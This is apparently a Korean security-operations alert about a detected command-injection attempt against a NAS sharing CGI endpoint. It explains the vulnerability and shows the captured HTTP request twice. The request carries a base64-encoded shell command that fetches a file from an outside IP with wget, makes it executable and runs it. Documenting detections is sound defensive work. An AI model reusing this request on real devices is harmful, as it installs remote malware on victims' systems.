[보안관제] Code Injection

공격설명

명령어 주입 취약점을 악용한 공격 시도가 탐지되었습니다.
명령어 주입 취약점은 웹 어플리케이션에서 발생하는 보안 취약성 중 하나로, 명령 프롬프트나 셸 명령어를 실행하는 부분에서 발생할 수 있습니다.
공격자는 Command Injection 공격을 통해 웹 서버의 민감한 정보 획득할 수 있고 그에 따라 DB 탈취 및 사용자 인증 우회 등의 연계된 공격을 수행할 수 있습니다.

 

공격구문

GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=Y2QgL3RtcDtybSAtcmYgZGxpbms7d2dldCAxNTYuMjM4LjIyNC4yMTQvZGxpbms7Y2htb2QgNzc3IGRsaW5rO3NoIGRsaW5r HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 YaBrowser/19.6.1.153 Yowser/2.5 Safari/537.36
Accept-Encoding: identity
Accept: */*
Connection: keep-alive

 

탐지근거

GET  /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=Y2QgL3RtcDtybSAtcmYgZGxpbms7d2dldCAxNTYuMjM4LjIyNC4yMTQvZGxpbms7Y2htb2QgNzc3IGRsaW5rO3NoIGRsaW5r